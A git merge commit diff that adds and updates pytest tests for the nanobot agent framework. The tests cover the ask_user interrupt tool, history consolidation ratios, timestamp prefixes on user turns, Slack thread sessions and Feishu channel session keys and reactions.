Merge origin/main into fix/msteams-prune-stale-refs
Resolve the MSTeams stale-reference cleanup conflict by keeping the PR's locked, atomic sidecar-meta implementation and aligning the merged test expectation locally. Made-with: Cursor
This commit is contained in:
@@ -0,0 +1,241 @@
|
||||
import asyncio
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.agent.runner import AgentRunner, AgentRunSpec
|
||||
from nanobot.agent.tools.ask import AskUserInterrupt, AskUserTool
|
||||
from nanobot.agent.tools.base import Tool, tool_parameters
|
||||
from nanobot.agent.tools.registry import ToolRegistry
|
||||
from nanobot.agent.tools.schema import tool_parameters_schema
|
||||
from nanobot.bus.events import InboundMessage
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.providers.base import GenerationSettings, LLMResponse, ToolCallRequest
|
||||
|
||||
|
||||
def _make_provider(chat_with_retry):
|
||||
async def chat_stream_with_retry(**kwargs):
|
||||
kwargs.pop("on_content_delta", None)
|
||||
return await chat_with_retry(**kwargs)
|
||||
|
||||
provider = MagicMock()
|
||||
provider.get_default_model.return_value = "test-model"
|
||||
provider.generation = GenerationSettings()
|
||||
provider.chat_with_retry = chat_with_retry
|
||||
provider.chat_stream_with_retry = chat_stream_with_retry
|
||||
return provider
|
||||
|
||||
|
||||
def test_ask_user_tool_schema_and_interrupt():
|
||||
tool = AskUserTool()
|
||||
schema = tool.to_schema()["function"]
|
||||
|
||||
assert schema["name"] == "ask_user"
|
||||
assert "question" in schema["parameters"]["required"]
|
||||
assert schema["parameters"]["properties"]["options"]["type"] == "array"
|
||||
|
||||
with pytest.raises(AskUserInterrupt) as exc:
|
||||
asyncio.run(tool.execute("Continue?", options=["Yes", "No"]))
|
||||
|
||||
assert exc.value.question == "Continue?"
|
||||
assert exc.value.options == ["Yes", "No"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_runner_pauses_on_ask_user_without_executing_later_tools():
|
||||
@tool_parameters(tool_parameters_schema(required=[]))
|
||||
class LaterTool(Tool):
|
||||
called = False
|
||||
|
||||
@property
|
||||
def name(self) -> str:
|
||||
return "later"
|
||||
|
||||
@property
|
||||
def description(self) -> str:
|
||||
return "Should not run after ask_user pauses the turn."
|
||||
|
||||
async def execute(self, **kwargs):
|
||||
self.called = True
|
||||
return "later result"
|
||||
|
||||
async def chat_with_retry(**kwargs):
|
||||
return LLMResponse(
|
||||
content="",
|
||||
finish_reason="tool_calls",
|
||||
tool_calls=[
|
||||
ToolCallRequest(
|
||||
id="call_ask",
|
||||
name="ask_user",
|
||||
arguments={"question": "Install this package?", "options": ["Yes", "No"]},
|
||||
),
|
||||
ToolCallRequest(id="call_later", name="later", arguments={}),
|
||||
],
|
||||
)
|
||||
|
||||
later = LaterTool()
|
||||
tools = ToolRegistry()
|
||||
tools.register(AskUserTool())
|
||||
tools.register(later)
|
||||
|
||||
result = await AgentRunner(_make_provider(chat_with_retry)).run(AgentRunSpec(
|
||||
initial_messages=[{"role": "user", "content": "continue"}],
|
||||
tools=tools,
|
||||
model="test-model",
|
||||
max_iterations=3,
|
||||
max_tool_result_chars=16_000,
|
||||
concurrent_tools=True,
|
||||
))
|
||||
|
||||
assert result.stop_reason == "ask_user"
|
||||
assert result.final_content == "Install this package?"
|
||||
assert "ask_user" in result.tools_used
|
||||
assert later.called is False
|
||||
assert result.messages[-1]["role"] == "assistant"
|
||||
tool_calls = result.messages[-1]["tool_calls"]
|
||||
assert [tool_call["function"]["name"] for tool_call in tool_calls] == ["ask_user"]
|
||||
assert not any(message.get("name") == "ask_user" for message in result.messages)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_ask_user_text_fallback_resumes_with_next_message(tmp_path):
|
||||
seen_messages: list[list[dict]] = []
|
||||
|
||||
async def chat_with_retry(**kwargs):
|
||||
seen_messages.append(kwargs["messages"])
|
||||
if len(seen_messages) == 1:
|
||||
return LLMResponse(
|
||||
content="",
|
||||
finish_reason="tool_calls",
|
||||
tool_calls=[
|
||||
ToolCallRequest(
|
||||
id="call_ask",
|
||||
name="ask_user",
|
||||
arguments={
|
||||
"question": "Install the optional package?",
|
||||
"options": ["Install", "Skip"],
|
||||
},
|
||||
)
|
||||
],
|
||||
)
|
||||
return LLMResponse(content="Skipped install.", usage={})
|
||||
|
||||
loop = AgentLoop(
|
||||
bus=MessageBus(),
|
||||
provider=_make_provider(chat_with_retry),
|
||||
workspace=tmp_path,
|
||||
model="test-model",
|
||||
)
|
||||
|
||||
async def on_stream(delta: str) -> None:
|
||||
pass
|
||||
|
||||
async def on_stream_end(**kwargs) -> None:
|
||||
pass
|
||||
|
||||
first = await loop._process_message(
|
||||
InboundMessage(channel="cli", sender_id="user", chat_id="direct", content="set it up"),
|
||||
on_stream=on_stream,
|
||||
on_stream_end=on_stream_end,
|
||||
)
|
||||
|
||||
assert first is not None
|
||||
assert first.content == "Install the optional package?\n\n1. Install\n2. Skip"
|
||||
assert first.buttons == []
|
||||
assert "_streamed" not in first.metadata
|
||||
|
||||
session = loop.sessions.get_or_create("cli:direct")
|
||||
assert any(message.get("role") == "assistant" and message.get("tool_calls") for message in session.messages)
|
||||
assert not any(message.get("role") == "tool" and message.get("name") == "ask_user" for message in session.messages)
|
||||
|
||||
second = await loop._process_message(
|
||||
InboundMessage(channel="cli", sender_id="user", chat_id="direct", content="Skip")
|
||||
)
|
||||
|
||||
assert second is not None
|
||||
assert second.content == "Skipped install."
|
||||
assert any(
|
||||
message.get("role") == "tool"
|
||||
and message.get("name") == "ask_user"
|
||||
and message.get("content") == "Skip"
|
||||
for message in seen_messages[-1]
|
||||
)
|
||||
assert not any(
|
||||
message.get("role") == "user" and message.get("content") == "Skip"
|
||||
for message in session.messages
|
||||
)
|
||||
assert any(
|
||||
message.get("role") == "tool"
|
||||
and message.get("name") == "ask_user"
|
||||
and message.get("content") == "Skip"
|
||||
for message in session.messages
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_ask_user_keeps_buttons_for_telegram(tmp_path):
|
||||
async def chat_with_retry(**kwargs):
|
||||
return LLMResponse(
|
||||
content="",
|
||||
finish_reason="tool_calls",
|
||||
tool_calls=[
|
||||
ToolCallRequest(
|
||||
id="call_ask",
|
||||
name="ask_user",
|
||||
arguments={
|
||||
"question": "Install the optional package?",
|
||||
"options": ["Install", "Skip"],
|
||||
},
|
||||
)
|
||||
],
|
||||
)
|
||||
|
||||
loop = AgentLoop(
|
||||
bus=MessageBus(),
|
||||
provider=_make_provider(chat_with_retry),
|
||||
workspace=tmp_path,
|
||||
model="test-model",
|
||||
)
|
||||
|
||||
response = await loop._process_message(
|
||||
InboundMessage(channel="telegram", sender_id="user", chat_id="123", content="set it up")
|
||||
)
|
||||
|
||||
assert response is not None
|
||||
assert response.content == "Install the optional package?"
|
||||
assert response.buttons == [["Install", "Skip"]]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_ask_user_keeps_buttons_for_websocket(tmp_path):
|
||||
async def chat_with_retry(**kwargs):
|
||||
return LLMResponse(
|
||||
content="",
|
||||
finish_reason="tool_calls",
|
||||
tool_calls=[
|
||||
ToolCallRequest(
|
||||
id="call_ask",
|
||||
name="ask_user",
|
||||
arguments={
|
||||
"question": "Install the optional package?",
|
||||
"options": ["Install", "Skip"],
|
||||
},
|
||||
)
|
||||
],
|
||||
)
|
||||
|
||||
loop = AgentLoop(
|
||||
bus=MessageBus(),
|
||||
provider=_make_provider(chat_with_retry),
|
||||
workspace=tmp_path,
|
||||
model="test-model",
|
||||
)
|
||||
|
||||
response = await loop._process_message(
|
||||
InboundMessage(channel="websocket", sender_id="user", chat_id="123", content="set it up")
|
||||
)
|
||||
|
||||
assert response is not None
|
||||
assert response.content == "Install the optional package?"
|
||||
assert response.buttons == [["Install", "Skip"]]
|
||||
@@ -0,0 +1,108 @@
|
||||
"""Tests for configurable consolidation_ratio."""
|
||||
|
||||
from unittest.mock import AsyncMock, MagicMock
|
||||
|
||||
import pytest
|
||||
from pydantic import ValidationError
|
||||
|
||||
import nanobot.agent.memory as memory_module
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.config.schema import AgentDefaults
|
||||
from nanobot.providers.base import GenerationSettings, LLMResponse
|
||||
|
||||
|
||||
def _make_loop(
|
||||
tmp_path,
|
||||
*,
|
||||
estimated_tokens: int = 0,
|
||||
context_window_tokens: int = 200,
|
||||
consolidation_ratio: float = 0.5,
|
||||
) -> AgentLoop:
|
||||
provider = MagicMock()
|
||||
provider.get_default_model.return_value = "test-model"
|
||||
provider.generation = GenerationSettings(max_tokens=0)
|
||||
provider.estimate_prompt_tokens.return_value = (estimated_tokens, "test-counter")
|
||||
_response = LLMResponse(content="ok", tool_calls=[])
|
||||
provider.chat_with_retry = AsyncMock(return_value=_response)
|
||||
provider.chat_stream_with_retry = AsyncMock(return_value=_response)
|
||||
|
||||
loop = AgentLoop(
|
||||
bus=MessageBus(),
|
||||
provider=provider,
|
||||
workspace=tmp_path,
|
||||
model="test-model",
|
||||
context_window_tokens=context_window_tokens,
|
||||
consolidation_ratio=consolidation_ratio,
|
||||
)
|
||||
loop.tools.get_definitions = MagicMock(return_value=[])
|
||||
loop.consolidator._SAFETY_BUFFER = 0
|
||||
return loop
|
||||
|
||||
|
||||
def _session_with_turns(loop: AgentLoop, *, turns: int):
|
||||
session = loop.sessions.get_or_create("cli:test")
|
||||
session.messages = []
|
||||
for i in range(turns):
|
||||
session.messages.append({"role": "user", "content": f"u{i}", "timestamp": f"2026-01-01T00:00:{i:02d}"})
|
||||
session.messages.append({"role": "assistant", "content": f"a{i}", "timestamp": f"2026-01-01T00:01:{i:02d}"})
|
||||
loop.sessions.save(session)
|
||||
return session
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize(
|
||||
("ratio", "context_window_tokens", "estimates", "expected_archives"),
|
||||
[
|
||||
(0.5, 200, [250, 90], 1),
|
||||
(0.1, 1000, [1200, 800, 400, 50], 2),
|
||||
(0.9, 200, [300, 175], 1),
|
||||
],
|
||||
)
|
||||
async def test_consolidation_ratio_controls_target(
|
||||
tmp_path,
|
||||
monkeypatch,
|
||||
ratio: float,
|
||||
context_window_tokens: int,
|
||||
estimates: list[int],
|
||||
expected_archives: int,
|
||||
) -> None:
|
||||
loop = _make_loop(
|
||||
tmp_path,
|
||||
context_window_tokens=context_window_tokens,
|
||||
consolidation_ratio=ratio,
|
||||
)
|
||||
loop.consolidator.archive = AsyncMock(return_value=True) # type: ignore[method-assign]
|
||||
session = _session_with_turns(loop, turns=10)
|
||||
|
||||
remaining_estimates = list(estimates)
|
||||
|
||||
def mock_estimate(_session, *, session_summary=None):
|
||||
assert session_summary is None
|
||||
return (remaining_estimates.pop(0), "test")
|
||||
|
||||
loop.consolidator.estimate_session_prompt_tokens = mock_estimate # type: ignore[method-assign]
|
||||
monkeypatch.setattr(memory_module, "estimate_message_tokens", lambda _m: 100)
|
||||
|
||||
await loop.consolidator.maybe_consolidate_by_tokens(session)
|
||||
|
||||
assert loop.consolidator.archive.await_count == expected_archives
|
||||
|
||||
|
||||
def test_ratio_propagated_from_config_schema() -> None:
|
||||
defaults = AgentDefaults()
|
||||
assert defaults.consolidation_ratio == 0.5
|
||||
|
||||
defaults = AgentDefaults.model_validate({"consolidationRatio": 0.3})
|
||||
assert defaults.consolidation_ratio == 0.3
|
||||
|
||||
dumped = defaults.model_dump(by_alias=True)
|
||||
assert dumped["consolidationRatio"] == 0.3
|
||||
|
||||
|
||||
def test_ratio_validation_rejects_out_of_range() -> None:
|
||||
with pytest.raises(ValidationError):
|
||||
AgentDefaults(consolidation_ratio=0.05)
|
||||
|
||||
with pytest.raises(ValidationError):
|
||||
AgentDefaults(consolidation_ratio=1.0)
|
||||
@@ -188,6 +188,17 @@ def test_identity_has_no_behavioral_instructions(tmp_path) -> None:
|
||||
assert "Execution Rules" not in identity
|
||||
|
||||
|
||||
def test_system_prompt_does_not_warn_about_message_time_markers(tmp_path) -> None:
|
||||
"""Parroting is prevented by not annotating assistant turns in history;
|
||||
no prompt-level warning about ``[Message Time: ...]`` is needed."""
|
||||
workspace = _make_workspace(tmp_path)
|
||||
builder = ContextBuilder(workspace)
|
||||
|
||||
prompt = builder.build_system_prompt()
|
||||
|
||||
assert "Message Time" not in prompt
|
||||
|
||||
|
||||
def test_default_soul_template_contains_execution_rules() -> None:
|
||||
"""Default SOUL.md template must contain execution rules with act/plan layering."""
|
||||
soul = (pkg_files("nanobot") / "templates" / "SOUL.md").read_text(encoding="utf-8")
|
||||
|
||||
@@ -535,7 +535,14 @@ async def test_system_subagent_followup_is_persisted_before_prompt_assembly(tmp_
|
||||
)
|
||||
|
||||
non_system = [m for m in seen["initial_messages"] if m.get("role") != "system"]
|
||||
assert [m["content"] for m in non_system[:2]] == ["question", "working"]
|
||||
assert "question" in non_system[0]["content"]
|
||||
assert "working" in non_system[1]["content"]
|
||||
# User turns carry the timestamp prefix so the model can reason about
|
||||
# relative time. Assistant turns do NOT, otherwise the model treats those
|
||||
# past replies as in-context examples and starts its own outputs with
|
||||
# ``[Message Time: ...]`` (which then leaks back to the user).
|
||||
assert "[Message Time:" in non_system[0]["content"]
|
||||
assert "[Message Time:" not in non_system[1]["content"]
|
||||
assert non_system[2]["content"].count("subagent result") == 1
|
||||
assert "Current Time:" in non_system[2]["content"]
|
||||
|
||||
@@ -657,3 +664,63 @@ def test_subagent_followup_skips_empty_content() -> None:
|
||||
|
||||
assert loop._persist_subagent_followup(session, msg) is False
|
||||
assert session.messages == []
|
||||
|
||||
|
||||
def test_set_tool_context_passes_thread_session_key_to_spawn(tmp_path: Path) -> None:
|
||||
loop = _make_full_loop(tmp_path)
|
||||
|
||||
loop._set_tool_context(
|
||||
"slack",
|
||||
"C123",
|
||||
metadata={"slack": {"thread_ts": "1700.42", "channel_type": "channel"}},
|
||||
session_key="slack:C123:1700.42",
|
||||
)
|
||||
|
||||
spawn_tool = loop.tools.get("spawn")
|
||||
assert spawn_tool is not None
|
||||
assert spawn_tool._session_key.get() == "slack:C123:1700.42"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_system_subagent_followup_uses_thread_session_and_slack_metadata(tmp_path: Path) -> None:
|
||||
loop = _make_full_loop(tmp_path)
|
||||
loop.consolidator.maybe_consolidate_by_tokens = AsyncMock(return_value=False) # type: ignore[method-assign]
|
||||
|
||||
thread_session = loop.sessions.get_or_create("slack:C123:1700.42")
|
||||
thread_session.add_message("user", "thread question")
|
||||
loop.sessions.save(thread_session)
|
||||
|
||||
seen: dict[str, list[dict]] = {}
|
||||
|
||||
async def fake_run_agent_loop(initial_messages, **_kwargs):
|
||||
seen["initial_messages"] = initial_messages
|
||||
return (
|
||||
"done",
|
||||
[],
|
||||
[*initial_messages, {"role": "assistant", "content": "done"}],
|
||||
"stop",
|
||||
False,
|
||||
)
|
||||
|
||||
loop._run_agent_loop = fake_run_agent_loop # type: ignore[method-assign]
|
||||
|
||||
outbound = await loop._process_message(
|
||||
InboundMessage(
|
||||
channel="system",
|
||||
sender_id="subagent",
|
||||
chat_id="slack:C123",
|
||||
content="subagent result",
|
||||
session_key_override="slack:C123:1700.42",
|
||||
metadata={"subagent_task_id": "sub-1"},
|
||||
)
|
||||
)
|
||||
|
||||
assert outbound is not None
|
||||
assert outbound.channel == "slack"
|
||||
assert outbound.chat_id == "C123"
|
||||
assert outbound.metadata == {"slack": {"thread_ts": "1700.42"}}
|
||||
assert "thread question" in seen["initial_messages"][1]["content"]
|
||||
|
||||
loop.sessions.invalidate("slack:C123:1700.42")
|
||||
persisted = loop.sessions.get_or_create("slack:C123:1700.42")
|
||||
assert any(m.get("subagent_task_id") == "sub-1" for m in persisted.messages)
|
||||
|
||||
@@ -0,0 +1,90 @@
|
||||
from pathlib import Path
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.providers.base import LLMResponse, ToolCallRequest
|
||||
|
||||
|
||||
class _ContextRecordingTool:
|
||||
name = "cron"
|
||||
concurrency_safe = False
|
||||
|
||||
def __init__(self) -> None:
|
||||
self.contexts: list[dict] = []
|
||||
|
||||
def set_context(
|
||||
self,
|
||||
channel: str,
|
||||
chat_id: str,
|
||||
metadata: dict | None = None,
|
||||
session_key: str | None = None,
|
||||
) -> None:
|
||||
self.contexts.append({
|
||||
"channel": channel,
|
||||
"chat_id": chat_id,
|
||||
"metadata": metadata,
|
||||
"session_key": session_key,
|
||||
})
|
||||
|
||||
async def execute(self, **_kwargs) -> str:
|
||||
return "created"
|
||||
|
||||
|
||||
class _Tools:
|
||||
def __init__(self, tool: _ContextRecordingTool) -> None:
|
||||
self.tool = tool
|
||||
|
||||
def get(self, name: str):
|
||||
return self.tool if name == "cron" else None
|
||||
|
||||
def get_definitions(self) -> list:
|
||||
return []
|
||||
|
||||
def prepare_call(self, name: str, arguments: dict):
|
||||
return (self.tool, arguments, None) if name == "cron" else (None, arguments, None)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_loop_hook_preserves_metadata_when_resetting_tool_context(tmp_path: Path) -> None:
|
||||
provider = MagicMock()
|
||||
calls = {"n": 0}
|
||||
|
||||
async def chat_with_retry(**_kwargs):
|
||||
calls["n"] += 1
|
||||
if calls["n"] == 1:
|
||||
return LLMResponse(
|
||||
content=None,
|
||||
tool_calls=[ToolCallRequest(id="call_1", name="cron", arguments={"action": "add"})],
|
||||
)
|
||||
return LLMResponse(content="done", tool_calls=[])
|
||||
|
||||
provider.chat_with_retry = chat_with_retry
|
||||
provider.get_default_model.return_value = "test-model"
|
||||
|
||||
loop = AgentLoop(
|
||||
bus=MessageBus(),
|
||||
provider=provider,
|
||||
workspace=tmp_path,
|
||||
model="test-model",
|
||||
)
|
||||
cron = _ContextRecordingTool()
|
||||
loop.tools = _Tools(cron)
|
||||
|
||||
metadata = {"slack": {"thread_ts": "111.222", "channel_type": "channel"}}
|
||||
await loop._run_agent_loop(
|
||||
[],
|
||||
channel="slack",
|
||||
chat_id="C123",
|
||||
metadata=metadata,
|
||||
session_key="slack:C123:111.222",
|
||||
)
|
||||
|
||||
assert cron.contexts[-1] == {
|
||||
"channel": "slack",
|
||||
"chat_id": "C123",
|
||||
"metadata": metadata,
|
||||
"session_key": "slack:C123:111.222",
|
||||
}
|
||||
@@ -1060,11 +1060,10 @@ async def test_next_turn_after_llm_error_keeps_turn_boundary(tmp_path):
|
||||
|
||||
request_messages = provider.chat_with_retry.await_args_list[1].kwargs["messages"]
|
||||
non_system = [message for message in request_messages if message.get("role") != "system"]
|
||||
assert non_system[0] == {"role": "user", "content": "first question"}
|
||||
assert non_system[1] == {
|
||||
"role": "assistant",
|
||||
"content": _PERSISTED_MODEL_ERROR_PLACEHOLDER,
|
||||
}
|
||||
assert non_system[0]["role"] == "user"
|
||||
assert "first question" in non_system[0]["content"]
|
||||
assert non_system[1]["role"] == "assistant"
|
||||
assert _PERSISTED_MODEL_ERROR_PLACEHOLDER in non_system[1]["content"]
|
||||
assert non_system[2]["role"] == "user"
|
||||
assert "second question" in non_system[2]["content"]
|
||||
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
from pathlib import Path
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.providers.factory import ProviderSnapshot
|
||||
|
||||
|
||||
def _provider(default_model: str, max_tokens: int = 123) -> MagicMock:
|
||||
provider = MagicMock()
|
||||
provider.get_default_model.return_value = default_model
|
||||
provider.generation = SimpleNamespace(max_tokens=max_tokens)
|
||||
return provider
|
||||
|
||||
|
||||
def test_provider_refresh_updates_all_model_dependents(tmp_path: Path) -> None:
|
||||
old_provider = _provider("old-model")
|
||||
new_provider = _provider("new-model", max_tokens=456)
|
||||
loop = AgentLoop(
|
||||
bus=MessageBus(),
|
||||
provider=old_provider,
|
||||
workspace=tmp_path,
|
||||
model="old-model",
|
||||
context_window_tokens=1000,
|
||||
provider_snapshot_loader=lambda: ProviderSnapshot(
|
||||
provider=new_provider,
|
||||
model="new-model",
|
||||
context_window_tokens=2000,
|
||||
signature=("new-model",),
|
||||
),
|
||||
)
|
||||
|
||||
loop._refresh_provider_snapshot()
|
||||
|
||||
assert loop.provider is new_provider
|
||||
assert loop.model == "new-model"
|
||||
assert loop.context_window_tokens == 2000
|
||||
assert loop.runner.provider is new_provider
|
||||
assert loop.subagents.provider is new_provider
|
||||
assert loop.subagents.model == "new-model"
|
||||
assert loop.subagents.runner.provider is new_provider
|
||||
assert loop.consolidator.provider is new_provider
|
||||
assert loop.consolidator.model == "new-model"
|
||||
assert loop.consolidator.context_window_tokens == 2000
|
||||
assert loop.consolidator.max_completion_tokens == 456
|
||||
assert loop.dream.provider is new_provider
|
||||
assert loop.dream.model == "new-model"
|
||||
assert loop.dream._runner.provider is new_provider
|
||||
@@ -194,6 +194,87 @@ def test_get_history_preserves_reasoning_content():
|
||||
]
|
||||
|
||||
|
||||
def test_get_history_annotates_user_turns_but_not_assistant_turns():
|
||||
"""Only user turns carry the timestamp prefix.
|
||||
|
||||
Annotating assistant turns trains the model (via in-context examples) to
|
||||
start its own replies with ``[Message Time: ...]``. User-side stamps are
|
||||
enough to pin adjacent assistant replies for relative-time reasoning.
|
||||
"""
|
||||
session = Session(key="test:timestamps")
|
||||
session.messages.append({
|
||||
"role": "user",
|
||||
"content": "10 点提醒是昨天发生的",
|
||||
"timestamp": "2026-04-26T22:00:00",
|
||||
})
|
||||
session.messages.append({
|
||||
"role": "assistant",
|
||||
"content": "记下来了",
|
||||
"timestamp": "2026-04-26T22:00:05",
|
||||
})
|
||||
|
||||
history = session.get_history(max_messages=500, include_timestamps=True)
|
||||
|
||||
assert history == [
|
||||
{
|
||||
"role": "user",
|
||||
"content": "[Message Time: 2026-04-26T22:00:00]\n10 点提醒是昨天发生的",
|
||||
},
|
||||
{
|
||||
"role": "assistant",
|
||||
"content": "记下来了",
|
||||
},
|
||||
]
|
||||
|
||||
|
||||
def test_get_history_annotates_proactive_assistant_deliveries_with_timestamps():
|
||||
"""Cron / heartbeat assistant pushes still carry a timestamp prefix.
|
||||
|
||||
These proactive deliveries can sit hours away from the next user reply,
|
||||
so the model needs to know when they fired. They are rare enough that
|
||||
they don't act as in-context demonstrations encouraging the model to
|
||||
prefix its own normal replies with ``[Message Time: ...]``.
|
||||
"""
|
||||
session = Session(key="test:proactive-timestamps")
|
||||
session.messages.append({
|
||||
"role": "assistant",
|
||||
"content": "记得喝水",
|
||||
"timestamp": "2026-04-26T15:00:00",
|
||||
"_channel_delivery": True,
|
||||
})
|
||||
session.messages.append({
|
||||
"role": "user",
|
||||
"content": "好",
|
||||
"timestamp": "2026-04-26T18:00:00",
|
||||
})
|
||||
|
||||
history = session.get_history(max_messages=500, include_timestamps=True)
|
||||
|
||||
assert history == [
|
||||
{
|
||||
"role": "assistant",
|
||||
"content": "[Message Time: 2026-04-26T15:00:00]\n记得喝水",
|
||||
},
|
||||
{
|
||||
"role": "user",
|
||||
"content": "[Message Time: 2026-04-26T18:00:00]\n好",
|
||||
},
|
||||
]
|
||||
|
||||
|
||||
def test_get_history_does_not_annotate_tool_results_with_timestamps():
|
||||
session = Session(key="test:tool-timestamps")
|
||||
session.messages.append({"role": "user", "content": "run tool"})
|
||||
session.messages.extend(_tool_turn("ts", 0))
|
||||
session.messages[-1]["timestamp"] = "2026-04-26T22:00:10"
|
||||
|
||||
history = session.get_history(max_messages=500, include_timestamps=True)
|
||||
|
||||
tool_result = history[-1]
|
||||
assert tool_result["role"] == "tool"
|
||||
assert tool_result["content"] == "ok"
|
||||
|
||||
|
||||
# --- Window cuts mid-group: assistant present but some tool results orphaned ---
|
||||
|
||||
def test_window_cuts_mid_tool_group():
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
"""Tests for Feishu reaction add/remove and auto-cleanup on stream end."""
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
from unittest.mock import AsyncMock, MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
@@ -160,19 +160,38 @@ class TestRemoveReactionAsync:
|
||||
|
||||
|
||||
class TestStreamEndReactionCleanup:
|
||||
@pytest.mark.asyncio
|
||||
async def test_stream_buffers_are_scoped_by_message_id(self):
|
||||
ch = _make_channel()
|
||||
ch._create_streaming_card_sync = MagicMock(return_value=None)
|
||||
|
||||
await ch.send_delta(
|
||||
"oc_chat1", "first",
|
||||
metadata={"message_id": "om_first"},
|
||||
)
|
||||
await ch.send_delta(
|
||||
"oc_chat1", "second",
|
||||
metadata={"message_id": "om_second"},
|
||||
)
|
||||
|
||||
assert ch._stream_bufs["om_first"].text == "first"
|
||||
assert ch._stream_bufs["om_second"].text == "second"
|
||||
assert "oc_chat1" not in ch._stream_bufs
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_removes_reaction_on_stream_end(self):
|
||||
ch = _make_channel()
|
||||
ch._stream_bufs["oc_chat1"] = _FeishuStreamBuf(
|
||||
text="Done", card_id="card_1", sequence=3, last_edit=0.0,
|
||||
)
|
||||
ch._reaction_ids["om_001"] = "rx_42"
|
||||
ch._client.cardkit.v1.card_element.content.return_value = MagicMock(success=MagicMock(return_value=True))
|
||||
ch._client.cardkit.v1.card.settings.return_value = MagicMock(success=MagicMock(return_value=True))
|
||||
ch._remove_reaction = AsyncMock()
|
||||
|
||||
await ch.send_delta(
|
||||
"oc_chat1", "",
|
||||
metadata={"_stream_end": True, "message_id": "om_001", "reaction_id": "rx_42"},
|
||||
metadata={"_stream_end": True, "message_id": "om_001"},
|
||||
)
|
||||
|
||||
ch._remove_reaction.assert_called_once_with("om_001", "rx_42")
|
||||
@@ -189,7 +208,7 @@ class TestStreamEndReactionCleanup:
|
||||
|
||||
await ch.send_delta(
|
||||
"oc_chat1", "",
|
||||
metadata={"_stream_end": True, "reaction_id": "rx_42"},
|
||||
metadata={"_stream_end": True},
|
||||
)
|
||||
|
||||
ch._remove_reaction.assert_not_called()
|
||||
|
||||
@@ -3,7 +3,7 @@ import asyncio
|
||||
import json
|
||||
from pathlib import Path
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import MagicMock, patch
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
@@ -21,18 +21,18 @@ from nanobot.bus.events import OutboundMessage
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.channels.feishu import FeishuChannel, FeishuConfig
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _make_feishu_channel(reply_to_message: bool = False) -> FeishuChannel:
|
||||
def _make_feishu_channel(reply_to_message: bool = False, group_policy: str = "mention") -> FeishuChannel:
|
||||
config = FeishuConfig(
|
||||
enabled=True,
|
||||
app_id="cli_test",
|
||||
app_secret="secret",
|
||||
allow_from=["*"],
|
||||
reply_to_message=reply_to_message,
|
||||
group_policy=group_policy,
|
||||
)
|
||||
channel = FeishuChannel(config, MessageBus())
|
||||
channel._client = MagicMock()
|
||||
@@ -443,3 +443,288 @@ async def test_on_message_no_extra_api_call_when_no_parent_id() -> None:
|
||||
|
||||
channel._client.im.v1.message.get.assert_not_called()
|
||||
assert len(captured) == 1
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Session key derivation tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_session_key_group_with_root_id_is_thread_scoped() -> None:
|
||||
"""Group message with root_id gets a thread-scoped session key."""
|
||||
channel = _make_feishu_channel(group_policy="open")
|
||||
bus_spy = []
|
||||
original_publish = channel.bus.publish_inbound
|
||||
|
||||
async def capture(msg):
|
||||
bus_spy.append(msg)
|
||||
await original_publish(msg)
|
||||
|
||||
channel.bus.publish_inbound = capture
|
||||
channel._download_and_save_media = AsyncMock(return_value=(None, ""))
|
||||
channel.transcribe_audio = AsyncMock(return_value="")
|
||||
channel._add_reaction = AsyncMock(return_value=None)
|
||||
|
||||
event = _make_feishu_event(
|
||||
chat_type="group",
|
||||
content='{"text": "hello"}',
|
||||
root_id="om_root123",
|
||||
message_id="om_child456",
|
||||
)
|
||||
await channel._on_message(event)
|
||||
|
||||
assert len(bus_spy) == 1
|
||||
assert bus_spy[0].session_key == "feishu:oc_abc:om_root123"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_session_key_group_no_root_id_uses_message_id() -> None:
|
||||
"""Group message without root_id gets session keyed by message_id (per-message session)."""
|
||||
channel = _make_feishu_channel(group_policy="open")
|
||||
bus_spy = []
|
||||
original_publish = channel.bus.publish_inbound
|
||||
|
||||
async def capture(msg):
|
||||
bus_spy.append(msg)
|
||||
await original_publish(msg)
|
||||
|
||||
channel.bus.publish_inbound = capture
|
||||
channel._download_and_save_media = AsyncMock(return_value=(None, ""))
|
||||
channel.transcribe_audio = AsyncMock(return_value="")
|
||||
channel._add_reaction = AsyncMock(return_value=None)
|
||||
|
||||
event = _make_feishu_event(
|
||||
chat_type="group",
|
||||
content='{"text": "hello"}',
|
||||
root_id=None,
|
||||
message_id="om_001",
|
||||
)
|
||||
await channel._on_message(event)
|
||||
|
||||
assert len(bus_spy) == 1
|
||||
assert bus_spy[0].session_key == "feishu:oc_abc:om_001"
|
||||
|
||||
|
||||
